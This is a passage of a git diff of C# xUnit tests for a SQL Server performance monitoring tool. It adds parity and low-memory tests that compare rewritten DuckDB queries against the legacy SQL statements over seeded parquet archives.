+        using var initializer = new DuckDbInitializer(dbPath);
         await initializer.InitializeAsync();
 
         using (var conn = new DuckDBConnection($"Data Source={dbPath}"))
@@ -158,7 +158,7 @@ state an existing database is in when the ALTER runs — the ADD COLUMN must suc
             await ExecAsync(conn, "INSERT INTO schema_version (version) VALUES (63)");
         }
 
-        var upgraded = new DuckDbInitializer(dbPath);
+        using var upgraded = new DuckDbInitializer(dbPath);
         await upgraded.InitializeAsync();
         await upgraded.CreateArchiveViewsAsync();
 
diff --git a/Lite.Tests/QueriesTabWindowRoundTripTests.cs b/Lite.Tests/QueriesTabWindowRoundTripTests.cs
index 177acec061..da95cf00aa 100644
--- a/Lite.Tests/QueriesTabWindowRoundTripTests.cs
+++ b/Lite.Tests/QueriesTabWindowRoundTripTests.cs
@@ -17,7 +17,7 @@ namespace PerformanceMonitorLite.Tests;
 
 /// <summary>
 /// #4766: a custom range on the Queries tab comes back as the instants that were picked. The tab holds the range
-/// as UTC instants (<see cref="PerformanceMonitorLite.Controls.ServerTab.CurrentWindowUtc"/>) and the toolbar pickers only show them in the display
+/// as UTC instants (<see cref="PerformanceMonitorLite.Helpers.LiteTimeRange.WindowFor"/>, #5562) and the toolbar picker only shows them in the display
 /// zone; <see cref="LocalDataService.GetQueriesTabWindowUtc"/> hands the same two instants to the read that compares
 /// them against <c>collection_time</c>. No conversion sits between the pickers and the read, so the window is the
 /// instant the user picked in every display mode, on either side of a clock change (the second 01:30 of the
@@ -103,10 +103,10 @@ public void EveryDisplayMode_ReadsTheInstantThePickerShows(TimeDisplayMode mode)
             var toInstant = Utc(to);
 
             var zone = PerformanceMonitorLite.Controls.ServerTab.PickerZone(mode, clock);
-            var held = new PerformanceMonitor.Ui.CustomRangeState();
-            held.Set(fromInstant, toInstant);
-            Assert.NotNull(held.Render(zone));
-            var (_, heldFrom, heldTo) = PerformanceMonitorLite.Controls.ServerTab.CurrentWindowUtc(24, true, held);
+            /* #5562: the range the tab holds is a fixed range on the shared picker; the zone only words it. */
+            var spec = PerformanceMonitor.Ui.TimeRangeSpec.FixedRange(fromInstant, toInstant);
+            Assert.True(spec.TryResolve(toInstant.AddDays(1), zone, out var resolved, out _));
+            var (_, heldFrom, heldTo) = PerformanceMonitorLite.Helpers.LiteTimeRange.WindowFor(resolved!);
             var (start, end) = LocalDataService.GetQueriesTabWindowUtc(24, heldFrom, heldTo);
 
             Assert.Equal(Range(fromInstant, toInstant), Range(start, end));
diff --git a/Lite.Tests/QueryHighDopStaleMaxDopParityTests.cs b/Lite.Tests/QueryHighDopStaleMaxDopParityTests.cs
index 874a01f4ff..5a9b6bdead 100644
--- a/Lite.Tests/QueryHighDopStaleMaxDopParityTests.cs
+++ b/Lite.Tests/QueryHighDopStaleMaxDopParityTests.cs
@@ -56,6 +56,7 @@ namespace Lite.Tests;
 /// to read at least one side out of the checked-out tree anyway (that is what <see cref="ParitySource"/>
 /// exists for).</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class QueryHighDopStaleMaxDopParityTests
 {
     /// <summary>
diff --git a/Lite.Tests/QueryHighDopStaleMaxDopTests.cs b/Lite.Tests/QueryHighDopStaleMaxDopTests.cs
index 63ba0ad674..8c818b1e03 100644
--- a/Lite.Tests/QueryHighDopStaleMaxDopTests.cs
+++ b/Lite.Tests/QueryHighDopStaleMaxDopTests.cs
@@ -59,7 +59,7 @@ public sealed class QueryHighDopStaleMaxDopTests : IClassFixture<SharedDuckDbFix
     private const long CachedMaxDop = 16;
 
     private static readonly DateTime WindowEnd = DateTime.SpecifyKind(
-        new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerSecond)),
+        new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerSecond * TimeSpan.TicksPerSecond),
         DateTimeKind.Unspecified);
 
     private static readonly DateTime WindowStart = WindowEnd.AddHours(-4);
diff --git a/Lite.Tests/QuerySnapshotPlanOnDemandTests.cs b/Lite.Tests/QuerySnapshotPlanOnDemandTests.cs
index 8d8e62a4fe..ecc54b44d1 100644
--- a/Lite.Tests/QuerySnapshotPlanOnDemandTests.cs
+++ b/Lite.Tests/QuerySnapshotPlanOnDemandTests.cs
@@ -256,11 +256,17 @@ public async Task Benchmark_OldPayloadRead_Vs_NewFlagRead_Over3500PlanBearingRow
         var liveXml = "<ShowPlanXML>" + new string('a', planSize) + "</ShowPlanXML>";
         var t = WholeSecondsNow();
 
-        for (var i = 0; i < rowCount; i++)
-        {
-            await SeedSnapshotAsync(t.AddSeconds(-i), sessionId: 100 + (i % 500), requestId: 0,
-                queryPlan: estimatedXml, liveQueryPlan: liveXml);
-        }
+        // One set-based statement (one commit) instead of 3,500 auto-committed single-row inserts (#5208): the
+        // same rows the loop produced -- collection_id -1..-3500, session 100 + i % 500, time t - i seconds.
+        await ExecAsync(@"
+INSERT INTO query_snapshots
+    (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status,
+     blocking_session_id, wait_type, cpu_time_ms, total_elapsed_time_ms, query_plan, live_query_plan, request_id)
+SELECT $1 - r.i, $2 - to_seconds(r.i), $3, $4, 100 + (r.i % 500), 'TestDb', 'SELECT 1', 'running',
+       0, NULL, 1000, 1500, $5, $6, 0
+FROM range($7) AS r(i)",
+            _nextId, Naive(t), _serverId, ServerName, estimatedXml, liveXml, rowCount);
+        _nextId -= rowCount;
 
         // OLD shape: the payload select GetLatestQuerySnapshotsAsync used before #4239.
         var oldSw = Stopwatch.StartNew();
diff --git a/Lite.Tests/QueryStatsTextAfterRankingTests.cs b/Lite.Tests/QueryStatsTextAfterRankingTests.cs
new file mode 100644
index 0000000000..e7f7413ecf
--- /dev/null
+++ b/Lite.Tests/QueryStatsTextAfterRankingTests.cs
@@ -0,0 +1,881 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Tests;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5381: <c>GetTopQueriesByCpuAsync</c> and <c>GetProcedureStatsComparisonAsync</c> picked a group's representative query
+/// text with a LATERAL "newest text per key" over the WHOLE <c>v_query_stats</c> archive, no time filter. DuckDB runs that as a
+/// window over every archived row with <c>query_text</c> carried through it, so the read's memory grew with the archive and a
+/// three-day archive of wide text ran out of memory at Lite's 1 GB limit, with a 24 hour window, alone. Both reads now rank on
+/// the narrow columns and take the text in one aggregate over the read's own window, for the ranked groups only.
+/// <para>Three kinds of pin, per read. PARITY: the pre-#5381 statement, kept verbatim below as a test-only oracle, and the new
+/// statement return every column of every row alike on a seeded hot + parquet store. MEMORY: on a small synthetic archive of
+/// wide high-entropy text with the memory limit set low, the oracle fails with out of memory and the new statement passes.
+/// PLAN: every parquet scan of <c>query_stats</c> in the new statements carries the window's <c>collection_time</c> filter.</para>
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class QueryStatsTextAfterRankingTests : IDisposable
+{
+    private const int ServerId = 5381;
+    private const int OtherServerId = 5382;
+
+    /* The memory pins' archive: 12 daily files of 1,000 rows, each row a 16,000-character hex text (about 16 MB decoded per
+       file, 192 MB for the archive), read at 128 MB with 4 threads. The old statements carry the text of the whole archive
+       through a window and cannot fit; the new ones touch the window's file(s) only. */
+    private const int ArchiveFiles = 12;
+    private const int KeysPerFile = 500;
+    private const int SnapshotsPerKey = 2;
+    private const int TextChars = 16000;
+    private const string LowMemoryLimit = "144MB";
+    private static readonly DateTime FirstArchiveDay = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private readonly string _tempDir;
+    private readonly string _archiveDir;
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public QueryStatsTextAfterRankingTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _archiveDir = Path.Combine(_tempDir, "archive");
+        Directory.CreateDirectory(_archiveDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _duckDb.InitializeFromTemplateAsync().GetAwaiter().GetResult();
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        _duckDb.Dispose();
+        try
+        {
+            if (Directory.Exists(_tempDir))
+            {
+                Directory.Delete(_tempDir, recursive: true);
+            }
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    /* ---- the pre-#5381 statements, verbatim, as oracles ---- */
+
+    private static string LegacyTopQueriesByCpuSql(string dbClause, int candidates) => @"
+WITH ranked AS (
+    SELECT
+        database_name,
+        query_hash,
+        MAX(last_execution_time) AS last_execution_time,
+        MAX(creation_time) AS creation_time,
+        SUM(delta_execution_count) AS total_executions,
+        SUM(delta_worker_time) AS total_cpu_us,
+        SUM(delta_elapsed_time) AS total_elapsed_us,
+        SUM(delta_logical_reads) AS total_reads,
+        SUM(delta_rows) AS total_rows,
+        SUM(delta_logical_writes) AS total_writes,
+        SUM(delta_physical_reads) AS total_physical_reads,
+        SUM(delta_spills) AS total_spills,
+        MIN(min_dop) AS min_dop,
+        MAX(max_dop) AS max_dop,
+        MIN(min_worker_time) AS min_worker_time,
+        MAX(max_worker_time) AS max_worker_time,
+        MIN(min_elapsed_time) AS min_elapsed_time,
+        MAX(max_elapsed_time) AS max_elapsed_time,
+        MIN(min_physical_reads) AS min_physical_reads,
+        MAX(max_physical_reads) AS max_physical_reads,
+        MIN(min_rows) AS min_rows,
+        MAX(max_rows) AS max_rows,
+        MIN(min_grant_kb) AS min_grant_kb,
+        MAX(max_grant_kb) AS max_grant_kb,
+        MIN(min_spills) AS min_spills,
+        MAX(max_spills) AS max_spills,
+        MAX(query_plan_hash) AS query_plan_hash,
+        MAX(sql_handle) AS sql_handle,
+        MAX(plan_handle) AS plan_handle,
+        MIN(min_used_grant_kb) AS min_used_grant_kb,
+        MAX(max_used_grant_kb) AS max_used_grant_kb,
+        MIN(min_ideal_grant_kb) AS min_ideal_grant_kb,
+        MAX(max_ideal_grant_kb) AS max_ideal_grant_kb,
+        MIN(min_reserved_threads) AS min_reserved_threads,
+        MAX(max_reserved_threads) AS max_reserved_threads,
+        MIN(min_used_threads) AS min_used_threads,
+        MAX(max_used_threads) AS max_used_threads,
+        MAX(total_clr_time) AS total_clr_time,
+        MAX(plan_generation_num) AS plan_generation_num,
+        MAX(CAST(delta_worker_time AS DOUBLE PRECISION) / NULLIF(sample_interval_seconds, 0) / 1000.0) AS worker_time_per_second,
+        /* #2012: distinct statement texts merged into this group. query_hash is a SHAPE hash, so
+           ad-hoc literal variants collapse - > 1 means the representative text below labels a blend
+           (stage 2 folded host_object_name into the key, so INSERT...EXEC statements hosted by
+           DIFFERENT procs no longer merge; only ad-hoc blends and pre-upgrade NULL-host history
+           can still count > 1). DuckDB's 64-bit hash() stands in for Darling's #1767 content
+           digest: comparing fixed-size hashes instead of arbitrarily long batch texts (a review
+           note on the twin's asymmetry); a same-group 64-bit collision is negligible for a
+           display count. */
+        COUNT(DISTINCT hash(query_text)) AS distinct_texts,
+        host_object_name
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2
+    AND   collection_time <= $3
+    AND   last_execution_time >= $2 + $5 * INTERVAL '1' MINUTE" + dbClause + @"
+    GROUP BY database_name, query_hash, host_object_name
+    HAVING (SUM(delta_execution_count) > 0 OR SUM(delta_elapsed_time) > 0)
+    /* #3541 A13: the parallelism floor is part of the QUERY, on the grouped population before the ranking
+       and the cap — see the method's note. $6 = 0 admits every group; NULL max_dop (never captured) reads
+       as 0 and stays out of a filtered page, as the C# arm it replaces did. */
+    AND   COALESCE(MAX(max_dop), 0) >= $6
+    /* #5299 round 3 (O16): the ranking ends on the whole group key, so a tie at the candidate cut picks the same keys in every
+       refill round, as the Darling and Viewer twins do. */
+    ORDER BY SUM(delta_worker_time) DESC, database_name, query_hash, host_object_name
+    LIMIT " + candidates + @"
+),
+module AS (
+    /* #1568 module attribution: one procedure_stats identity per sql_handle (latest collection_time
+       wins) so a statement whose sql_handle matches a cached procedure/function/trigger inherits its
+       db.schema.object and the query_stats row never fans out. Both stores persist the SAME normalized
+       CONVERT(varchar(130), ..., 1) handle text, so the join key lines up; unmatched -> ad hoc. */
+    SELECT
+        sql_handle,
+        object_name,
+        schema_name,
+        database_name
+    FROM
+    (
+        SELECT
+            sql_handle,
+            object_name,
+            schema_name,
+            database_name,
+            ROW_NUMBER() OVER (PARTITION BY sql_handle ORDER BY collection_time DESC, collection_id DESC) AS rn
+        FROM v_procedure_stats
+        WHERE server_id = $1
+        AND   sql_handle IS NOT NULL
+        AND   sql_handle <> ''
+    ) ranked_modules
+    WHERE rn = 1
+),
+page AS (
+SELECT
+    r.*,
+    t.query_text,
+    t.query_plan_xml AS query_plan,
+    m.object_name AS module_object_name,
+    m.schema_name AS module_schema_name,
+    m.database_name AS module_database_name,
+    ROW_NUMBER() OVER (ORDER BY r.total_cpu_us DESC, r.database_name, r.query_hash, r.host_object_name) AS page_ord
+FROM ranked r
+LEFT JOIN LATERAL (
+    SELECT query_text, query_plan_xml
+    FROM v_query_stats
+    WHERE server_id = $1
+    AND   query_hash = r.query_hash
+    AND   database_name = r.database_name
+    /* #2012 stage 2: the representative text must come from THIS group's own rows - without the
+       host constraint a hash shared across host objects could label one caller's row with
+       another caller's text (NOT DISTINCT FROM so ad-hoc NULL hosts still match ad-hoc rows). */
+    AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
+    AND   query_text IS NOT NULL
+    /* #5299 round 2 (N3): two rows of one key at one collection_time (two plans, one collection) must give the
+       same text on every read, so a tie on the time breaks on the row collected last. */
+    ORDER BY collection_time DESC, collection_id DESC
+    LIMIT 1
+) t ON TRUE
+LEFT JOIN module m ON m.sql_handle = r.sql_handle
+WHERE t.query_text IS NULL OR t.query_text NOT LIKE 'WAITFOR%'
+ORDER BY r.total_cpu_us DESC, r.database_name, r.query_hash, r.host_object_name
+LIMIT $4
+)
+/* #5313: the count row rides beside the page so a round trimmed to nothing still reports whether more candidates exist. */
+SELECT p.*, c.candidate_count
+FROM (SELECT COUNT(*) AS candidate_count FROM ranked) c
+LEFT JOIN page p ON TRUE
+ORDER BY p.page_ord";
+
+    private static string LegacyProcedureStatsComparisonSql(string dbClause) => @"
+WITH top_current AS (
+    SELECT database_name, schema_name, object_name
+    FROM v_procedure_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2 AND collection_time <= $3" + dbClause + @"
+    AND   delta_execution_count > 0
+    GROUP BY database_name, schema_name, object_name
+    ORDER BY SUM(delta_execution_count) DESC
+    LIMIT 100
+),
+top_baseline AS (
+    SELECT database_name, schema_name, object_name
+    FROM v_procedure_stats
+    WHERE server_id = $1
+    AND   collection_time >= $4 AND collection_time <= $5" + dbClause + @"
+    AND   delta_execution_count > 0
+    GROUP BY database_name, schema_name, object_name
+    ORDER BY SUM(delta_execution_count) DESC
+    LIMIT 100
+),
+top_procs AS (
+    SELECT DISTINCT database_name, schema_name, object_name
+    FROM (
+        SELECT * FROM top_current
+        UNION ALL
+        SELECT * FROM top_baseline
+    ) combined
+),
+current_period AS (
+    SELECT tp.database_name, tp.schema_name, tp.object_name,
+           SUM(ps.delta_execution_count) AS exec_count,
+           SUM(ps.delta_elapsed_time)::DOUBLE PRECISION / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+           SUM(ps.delta_worker_time)::DOUBLE PRECISION / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+           SUM(ps.delta_physical_reads)::DOUBLE PRECISION / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
+           MAX(ps.sql_handle) AS sql_handle
+    FROM top_procs tp
+    INNER JOIN v_procedure_stats ps
+      ON  ps.database_name IS NOT DISTINCT FROM tp.database_name
+      AND ps.schema_name IS NOT DISTINCT FROM tp.schema_name
+      AND ps.object_name IS NOT DISTINCT FROM tp.object_name
+    WHERE ps.server_id = $1
+    AND   ps.collection_time >= $2 AND ps.collection_time <= $3
+    AND   ps.delta_execution_count > 0
+    GROUP BY tp.database_name, tp.schema_name, tp.object_name
+),
+baseline_period AS (
+    SELECT tp.database_name, tp.schema_name, tp.object_name,
+           SUM(ps.delta_execution_count) AS exec_count,
+           SUM(ps.delta_elapsed_time)::DOUBLE PRECISION / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+           SUM(ps.delta_worker_time)::DOUBLE PRECISION / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+           SUM(ps.delta_physical_reads)::DOUBLE PRECISION / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
+           MAX(ps.sql_handle) AS sql_handle
+    FROM top_procs tp
+    INNER JOIN v_procedure_stats ps
+      ON  ps.database_name IS NOT DISTINCT FROM tp.database_name
+      AND ps.schema_name IS NOT DISTINCT FROM tp.schema_name
+      AND ps.object_name IS NOT DISTINCT FROM tp.object_name
+    WHERE ps.server_id = $1
+    AND   ps.collection_time >= $4 AND ps.collection_time <= $5
+    AND   ps.delta_execution_count > 0
+    GROUP BY tp.database_name, tp.schema_name, tp.object_name
+)
+SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+       COALESCE(c.schema_name, b.schema_name) AS schema_name,
+       COALESCE(c.object_name, b.object_name) AS object_name,
+       c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
+       b.exec_count AS baseline_exec_count,
+       b.avg_duration_ms AS baseline_avg_duration_ms,
+       b.avg_cpu_ms AS baseline_avg_cpu_ms,
+       b.avg_reads AS baseline_avg_reads,
+       t.query_text
+FROM current_period c
+FULL OUTER JOIN baseline_period b
+  ON  c.database_name IS NOT DISTINCT FROM b.database_name
+  AND c.schema_name IS NOT DISTINCT FROM b.schema_name
+  AND c.object_name IS NOT DISTINCT FROM b.object_name
+/* #1981: a REPRESENTATIVE statement of the procedure, resolved through the same normalized
+   sql_handle join the #1568 module attribution relies on (both stores persist the identical
+   CONVERT(varchar(130), ..., 1) text). procedure_stats captures no text of its own, so this is
+   the latest captured statement from inside the module - parity with the other two comparison
+   grids' text columns, labeled a statement rather than the definition. */
+LEFT JOIN LATERAL (
+    SELECT qs.query_text
+    FROM v_query_stats qs
+    WHERE qs.server_id = $1
+    AND   qs.sql_handle = COALESCE(c.sql_handle, b.sql_handle)
+    AND   qs.query_text IS NOT NULL
+    ORDER BY qs.collection_time DESC
+    LIMIT 1
+) t ON TRUE;";
+
+    /* ---- plumbing ---- */
+
+    private async Task ExecAsync(string sql, params object?[] values)
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync(TestContext.Current.CancellationToken);
+        }
+
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var value in values)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = value });
+        }
+
+        await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+    }
+
+    private async Task<(string[] Names, List<object?[]> Rows)> RunRawAsync(string sql, params object[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var value in values)
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = value });
+        }
+
+        using var reader = await cmd.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+        var names = Enumerable.Range(0, reader.FieldCount).Select(reader.GetName).ToArray();
+        var rows = new List<object?[]>();
+        while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+        {
+            var row = new object?[reader.FieldCount];
+            for (var i = 0; i < row.Length; i++)
+            {
+                row[i] = reader.IsDBNull(i) ? null : reader.GetValue(i);
+            }
+
+            rows.Add(row);
+        }
+
+        return (names, rows);
+    }
+
+    private async Task SetLowMemoryAsync()
+    {
+        await ExecAsync($"SET memory_limit='{LowMemoryLimit}'");
+        await ExecAsync("SET threads=4");
+        var seen = (await RunRawAsync("SELECT current_setting('memory_limit')::VARCHAR")).Rows[0][0]?.ToString() ?? string.Empty;
+        /* 144MB reads back as 137.3 MiB: the limit really is on the instance the reads share. 144 leaves 48 MB each side of the
+           old statement's edge (out of memory through 192 MB) and the new one's (fits from 112 MB at 8 threads). */
+        Assert.StartsWith("137", seen, StringComparison.Ordinal);
+    }
+
+    private static void AssertSameRows((string[] Names, List<object?[]> Rows) expected, (string[] Names, List<object?[]> Rows) actual, string what)
+    {
+        Assert.Equal(expected.Names, actual.Names);
+        Assert.True(expected.Rows.Count > 0, $"{what}: the oracle returned no rows, so the comparison proves nothing");
+        Assert.Equal(expected.Rows.Count, actual.Rows.Count);
+        for (var r = 0; r < expected.Rows.Count; r++)
+        {
+            for (var c = 0; c < expected.Names.Length; c++)
+            {
+                Assert.True(
+                    Equals(expected.Rows[r][c], actual.Rows[r][c]),
+                    $"{what}: row {r} column {expected.Names[c]} differs: old '{expected.Rows[r][c]}' vs new '{actual.Rows[r][c]}'");
+            }
+        }
+    }
+
+    private static async Task<Exception?> TryRunAsync(Func<Task> run)
+    {
+        try
+        {
+            await run();
+            return null;
+        }
+        catch (Exception ex)
+        {
+            return ex;
+        }
+    }
+
+    private async Task InsertQueryStatsAsync(
+        DateTime collected, string db, string hash, string? host, string handle, string? text, long cpu,
+        string? plan = null, int server = ServerId)
+    {
+        await ExecAsync(@"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle, host_object_name,
+     last_execution_time, delta_execution_count, delta_worker_time, delta_elapsed_time, max_dop, query_text, query_plan_xml)
+VALUES ($1, $2, $3, 'TestSrv', $4, $5, $6, $7, $2, 10, $8, $8, 1, $9, $10)",
+            _nextId++, collected, server, db, hash, handle, host, cpu, text, plan);
+    }
+
+    private async Task InsertProcedureStatsAsync(DateTime collected, string db, string schema, string name, string handle, long execs, long cpu)
+    {
+        await ExecAsync(@"
+INSERT INTO procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, object_type, sql_handle,
+     delta_execution_count, delta_elapsed_time, delta_worker_time, delta_physical_reads)
+VALUES ($1, $2, $3, 'TestSrv', $4, $5, $6, 'P', $7, $8, $9, $9, 5)",
+            _nextId++, collected, ServerId, db, schema, name, handle, execs, cpu);
+    }
+
+    /* Moves what is in the hot query_stats table to one archive file, the way archival does. */
+    private async Task ArchiveHotRowsAsync(string fileName)
+    {
+        var path = Path.Combine(_archiveDir, fileName).Replace("\\", "/");
+        await ExecAsync($"COPY query_stats TO '{path}' (FORMAT PARQUET, COMPRESSION ZSTD)");
+        await ExecAsync("DELETE FROM query_stats");
+    }
+
+    private static string Day(DateTime t) => t.ToString("yyyyMMdd", CultureInfo.InvariantCulture);
+
+    /* The parity store: parquet files hold the older rows, the hot table the newest, every shape the newest-text pick has a rule for. */
+    private async Task SeedParityStoreAsync()
+    {
+        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var old1 = now.AddDays(-3);
+        var old2 = now.AddDays(-2);
+        var old3 = now.AddDays(-1).AddHours(-2);
+        var hot = now.AddMinutes(-60);
+
+        /* g1: text changes across the archive and the hot table; the hot (newest) one wins. */
+        await InsertQueryStatsAsync(old1, "Db1", "0xG1", null, "0xH1", "g1 oldest text", 1_000);
+        /* g2a/g2b: one hash under two host objects (#2012 stage 2): each group takes its own host's text. */
+        await InsertQueryStatsAsync(old1, "Db1", "0xG2", "dbo.ProcA", "0xH2", "g2 text of ProcA, older", 5_000);
+        await InsertQueryStatsAsync(old1, "Db1", "0xG2", "dbo.ProcB", "0xH2", "g2 text of ProcB, older", 4_000);
+        /* g7: the plan comes from the same row as the text. */
+        await InsertQueryStatsAsync(old1, "Db3", "0xG7", null, "0xH7", "g7 older text", 700, plan: "<plan>g7 older</plan>");
+        /* g8: another server's rows of the same keys are not this server's text. */
+        await InsertQueryStatsAsync(old1.AddMinutes(5), "Db1", "0xG1", null, "0xH1", "g1 OTHER SERVER text", 1, server: OtherServerId);
+        /* g9 (#5381 G1): an older row has a plan; the newest row (below, hot) has the text and a NULL plan. The plan must come
+           from the newest row (blank), the same row as the text, not from the older one. */
+        await InsertQueryStatsAsync(old1, "Db3", "0xG9", null, "0xH9", "g9 text", 650, plan: "<plan>g9 older</plan>");
+        await ArchiveHotRowsAsync($"{Day(old1)}_2300_query_stats.parquet");
+
+        await InsertQueryStatsAsync(old2, "Db1", "0xG1", null, "0xH1", "g1 middle text", 1_000);
+        await ArchiveHotRowsAsync($"{Day(old2)}_2300_query_stats.parquet");
+
+        /* g3: the newest row has NO text; the newest row that has one answers. */
+        await InsertQueryStatsAsync(old3, "Db2", "0xG3", null, "0xH3", "g3 text, the newest that has one", 3_000);
+        await InsertQueryStatsAsync(old3.AddMinutes(30), "Db2", "0xG3", null, "0xH3", null, 3_000);
+        /* g4: no row of the group has a text at all. */
+        await InsertQueryStatsAsync(old3, "Db2", "0xG4", null, "0xH4", null, 2_500);
+        /* g6: a WAITFOR shell is kept off the page. */
+        await InsertQueryStatsAsync(old3, "Db2", "0xG6", null, "0xH6", "WAITFOR DELAY '00:00:30'", 90_000);
+        await ArchiveHotRowsAsync($"{Day(old3)}_2300_query_stats.parquet");
+        await _duckDb.CreateArchiveViewsAsync();
+
+        await InsertQueryStatsAsync(hot, "Db1", "0xG1", null, "0xH1", "g1 newest text (hot)", 1_000);
+        await InsertQueryStatsAsync(hot, "Db1", "0xG2", "dbo.ProcA", "0xH2", "g2 text of ProcA, newest", 5_000);
+        await InsertQueryStatsAsync(hot, "Db1", "0xG2", "dbo.ProcB", "0xH2", "g2 text of ProcB, newest", 4_000);
+        /* g5: two rows of one key at one time with different texts: the row collected last answers (#5299 round 2 N3). */
+        await InsertQueryStatsAsync(hot, "Db3", "0xG5", null, "0xH5", "g5 tie text A (lower collection id)", 1_500);
+        await InsertQueryStatsAsync(hot, "Db3", "0xG5", null, "0xH5", "g5 tie text B (higher collection id)", 1_500);
+        await InsertQueryStatsAsync(hot, "Db3", "0xG7", null, "0xH7", "g7 newest text", 700, plan: "<plan>g7 newest</plan>");
+        await InsertQueryStatsAsync(hot, "Db2", "0xG4", null, "0xH4", null, 2_500);
+        await InsertQueryStatsAsync(hot.AddMinutes(1), "Db3", "0xG9", null, "0xH9", "g9 text", 650, plan: null);
+    }
+
+    /* A wide, high-entropy archive of ArchiveFiles daily files, written straight to parquet (the columns the reads need; the hot
+       table supplies the rest as NULL through union_by_name). Day n's rows are collected within that day. */
+    private async Task SeedWideArchiveAsync()
+    {
+        for (var f = 0; f < ArchiveFiles; f++)
+        {
+            var day = FirstArchiveDay.AddDays(f);
+            var path = Path.Combine(_archiveDir, $"{Day(day)}_2300_query_stats.parquet").Replace("\\", "/");
+            var dayText = day.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+            await ExecAsync($@"
+COPY (
+    SELECT ({(f + 1) * 10_000_000L}::BIGINT + i * 10 + s) AS collection_id,
+           TIMESTAMP '{dayText}' + INTERVAL ((i % 20)) HOUR + INTERVAL ((s + 1) * 10) MINUTE AS collection_time,
+           {ServerId}::INTEGER AS server_id,
+           'TestSrv' AS server_name,
+           'db_' || (i % 5)::VARCHAR AS database_name,
+           md5((i % 250)::VARCHAR) AS query_hash,
+           CASE WHEN i % 9 = 0 THEN 'dbo.Proc_' || (i % 7)::VARCHAR ELSE NULL END AS host_object_name,
+           '0x' || md5('h' || (i % 250)::VARCHAR) AS sql_handle,
+           TIMESTAMP '{dayText}' + INTERVAL ((i % 20)) HOUR + INTERVAL ((s + 1) * 10) MINUTE AS last_execution_time,
+           100::BIGINT AS delta_execution_count,
+           (1000 + i)::BIGINT AS delta_worker_time,
+           (i + s)::BIGINT AS delta_elapsed_time,
+           list_aggregate(list_transform(range(0, {TextChars / 32}), j -> md5(i::VARCHAR || ':' || s::VARCHAR || ':{dayText}:' || j::VARCHAR)), 'string_agg', '') AS query_text
+    FROM range(0, {KeysPerFile}) t(i), range(0, {SnapshotsPerKey}) g(s)
+) TO '{path}' (FORMAT PARQUET, COMPRESSION ZSTD)");
+        }
+
+        await _duckDb.CreateArchiveViewsAsync();
+    }
+
+    private static DateTime LastArchiveDayStart => FirstArchiveDay.AddDays(ArchiveFiles - 1);
+
+    private async Task SeedWideProceduresAsync()
+    {
+        /* 30 procedures whose handles are ones the wide archive's statements carry; each ran in the last day and the day before. */
+        for (var k = 0; k < 30; k++)
+        {
+            var handle = (await RunRawAsync($"SELECT '0x' || md5('h' || {k}::VARCHAR)")).Rows[0][0]!.ToString()!;
+            await InsertProcedureStatsAsync(LastArchiveDayStart.AddHours(12), "db_0", "dbo", $"Proc{k:D2}", handle, 100 + k, 10_000 + k);
+            await InsertProcedureStatsAsync(LastArchiveDayStart.AddDays(-1).AddHours(12), "db_0", "dbo", $"Proc{k:D2}", handle, 90 + k, 9_000 + k);
+        }
+    }
+
+    /* ---- top queries by CPU ---- */
+
+    private (DateTime Start, DateTime End) ParityWindow()
+    {
+        var end = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        return (end.AddHours(-24 * 7), end);
+    }
+
+    [Fact]
